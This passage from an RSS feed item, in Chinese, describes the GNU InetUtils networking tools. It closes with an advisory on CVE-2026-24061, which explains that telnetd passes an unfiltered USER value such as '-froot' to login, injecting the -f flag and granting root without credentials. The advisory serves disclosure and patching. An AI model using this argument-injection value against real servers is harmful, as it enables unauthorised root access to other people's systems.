href="https://www.google.com/search?q=telnet&amp;amp;sca_esv=f5bb93abf84105ec&amp;amp;sxsrf=ANbL-n4AqRXFa1d-E2feCF4mCVim3qkXSw%3A1770714814271&amp;amp;ei=vvaKaYCOENXU1e8P5L_PyAY&amp;amp;biw=1912&amp;amp;bih=948&amp;amp;ved=2ahUKEwino-iKy86SAxWic_UHHRlnDvsQgK4QegQIARAC&amp;amp;uact=5&amp;amp;oq=GNU+InetUtils+%E6%98%AF%E4%BB%80%E4%B9%88&amp;amp;gs_lp=Egxnd3Mtd2l6LXNlcnAiF0dOVSBJbmV0VXRpbHMg5piv5LuA5LmIMggQABiABBiiBDIFEAAY7wUyBRAAGO8FMgUQABjvBTIFEAAY7wVI8BBQAFjkD3AAeACQAQCYAb0BoAGpCqoBAzAuObgBA8gBAPgBAvgBAZgCCaACxArCAgQQIxgnwgIEEAAYHsICBxAAGMcDGB7CAgUQIRigAZgDAJIHAzAuOaAHkxGyBwMwLjm4B8QKwgcFMC44LjHIBxGACAA&amp;amp;sclient=gws-wiz-serp"&gt;telnet&lt;/a&gt;、&lt;a href="https://www.google.com/search?q=ftp&amp;amp;sca_esv=f5bb93abf84105ec&amp;amp;sxsrf=ANbL-n4AqRXFa1d-E2feCF4mCVim3qkXSw%3A1770714814271&amp;amp;ei=vvaKaYCOENXU1e8P5L_PyAY&amp;amp;biw=1912&amp;amp;bih=948&amp;amp;ved=2ahUKEwino-iKy86SAxWic_UHHRlnDvsQgK4QegQIARAD&amp;amp;uact=5&amp;amp;oq=GNU+InetUtils+%E6%98%AF%E4%BB%80%E4%B9%88&amp;amp;gs_lp=Egxnd3Mtd2l6LXNlcnAiF0dOVSBJbmV0VXRpbHMg5piv5LuA5LmIMggQABiABBiiBDIFEAAY7wUyBRAAGO8FMgUQABjvBTIFEAAY7wVI8BBQAFjkD3AAeACQAQCYAb0BoAGpCqoBAzAuObgBA8gBAPgBAvgBAZgCCaACxArCAgQQIxgnwgIEEAAYHsICBxAAGMcDGB7CAgUQIRigAZgDAJIHAzAuOaAHkxGyBwMwLjm4B8QKwgcFMC44LjHIBxGACAA&amp;amp;sclient=gws-wiz-serp"&gt;ftp&lt;/a&gt;、&lt;a href="https://www.google.com/search?q=hostname&amp;amp;sca_esv=f5bb93abf84105ec&amp;amp;sxsrf=ANbL-n4AqRXFa1d-E2feCF4mCVim3qkXSw%3A1770714814271&amp;amp;ei=vvaKaYCOENXU1e8P5L_PyAY&amp;amp;biw=1912&amp;amp;bih=948&amp;amp;ved=2ahUKEwino-iKy86SAxWic_UHHRlnDvsQgK4QegQIARAE&amp;amp;uact=5&amp;amp;oq=GNU+InetUtils+%E6%98%AF%E4%BB%80%E4%B9%88&amp;amp;gs_lp=Egxnd3Mtd2l6LXNlcnAiF0dOVSBJbmV0VXRpbHMg5piv5LuA5LmIMggQABiABBiiBDIFEAAY7wUyBRAAGO8FMgUQABjvBTIFEAAY7wVI8BBQAFjkD3AAeACQAQCYAb0BoAGpCqoBAzAuObgBA8gBAPgBAvgBAZgCCaACxArCAgQQIxgnwgIEEAAYHsICBxAAGMcDGB7CAgUQIRigAZgDAJIHAzAuOaAHkxGyBwMwLjm4B8QKwgcFMC44LjHIBxGACAA&amp;amp;sclient=gws-wiz-serp"&gt;hostname&lt;/a&gt;、&lt;a href="https://www.google.com/search?q=ifconfig&amp;amp;sca_esv=f5bb93abf84105ec&amp;amp;sxsrf=ANbL-n4AqRXFa1d-E2feCF4mCVim3qkXSw%3A1770714814271&amp;amp;ei=vvaKaYCOENXU1e8P5L_PyAY&amp;amp;biw=1912&amp;amp;bih=948&amp;amp;ved=2ahUKEwino-iKy86SAxWic_UHHRlnDvsQgK4QegQIARAF&amp;amp;uact=5&amp;amp;oq=GNU+InetUtils+%E6%98%AF%E4%BB%80%E4%B9%88&amp;amp;gs_lp=Egxnd3Mtd2l6LXNlcnAiF0dOVSBJbmV0VXRpbHMg5piv5LuA5LmIMggQABiABBiiBDIFEAAY7wUyBRAAGO8FMgUQABjvBTIFEAAY7wVI8BBQAFjkD3AAeACQAQCYAb0BoAGpCqoBAzAuObgBA8gBAPgBAvgBAZgCCaACxArCAgQQIxgnwgIEEAAYHsICBxAAGMcDGB7CAgUQIRigAZgDAJIHAzAuOaAHkxGyBwMwLjm4B8QKwgcFMC44LjHIBxGACAA&amp;amp;sclient=gws-wiz-serp"&gt;ifconfig&lt;/a&gt; 等。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主要特点与功能：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心工具：&lt;/strong&gt; 包含 &lt;code&gt;ftp/ftpd&lt;/code&gt;（文件传输）、&lt;code&gt;telnet/telnetd&lt;/code&gt;（远程登录）、&lt;code&gt;rlogin/rsh/rcp&lt;/code&gt;（远程 shell/复制）、&lt;code&gt;ping&lt;/code&gt;（网络测试）等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;兼容性：&lt;/strong&gt; 致力于在不同类 Unix 系统中提供一致的网络工具体验。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务守护进程：&lt;/strong&gt; 其中的 &lt;code&gt;telnetd&lt;/code&gt; 和 &lt;code&gt;ftpd&lt;/code&gt; 通常通过 &lt;code&gt;inetd&lt;/code&gt; 或 &lt;code&gt;xinetd&lt;/code&gt; 超级服务进行托管。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;安全提示（CVE-2026-24061）：&lt;/strong&gt;
近期，GNU InetUtils 的 &lt;code&gt;telnetd&lt;/code&gt; 服务组件（版本 1.9.3 至 2.7）被发现存在重大远程认证绕过漏洞。攻击者可利用该漏洞在未授权的情况下获取服务器 root 权限，影响包括 Debian 12 和 Ubuntu 24.04 等主流发行版，建议及时更新。&lt;/p&gt;
&lt;p&gt;GNU InetUtils 1.9.3 至 2.7 版本的 telnetd 服务器存在远程认证绕过漏洞（CVE-2026-24061）。telnetd 服务器在将 USER 环境变量传递给 &lt;code&gt;login(1)&lt;/code&gt; 程序之前未进行过滤。攻击者可以提供类似 &lt;code&gt;-froot&lt;/code&gt; 的 USER 值来触发 login 程序的认证绕过功能（&lt;code&gt;-f&lt;/code&gt; 参数），无需凭据即可获得 root 访问权限。&lt;/p&gt;</description></item></channel></rss>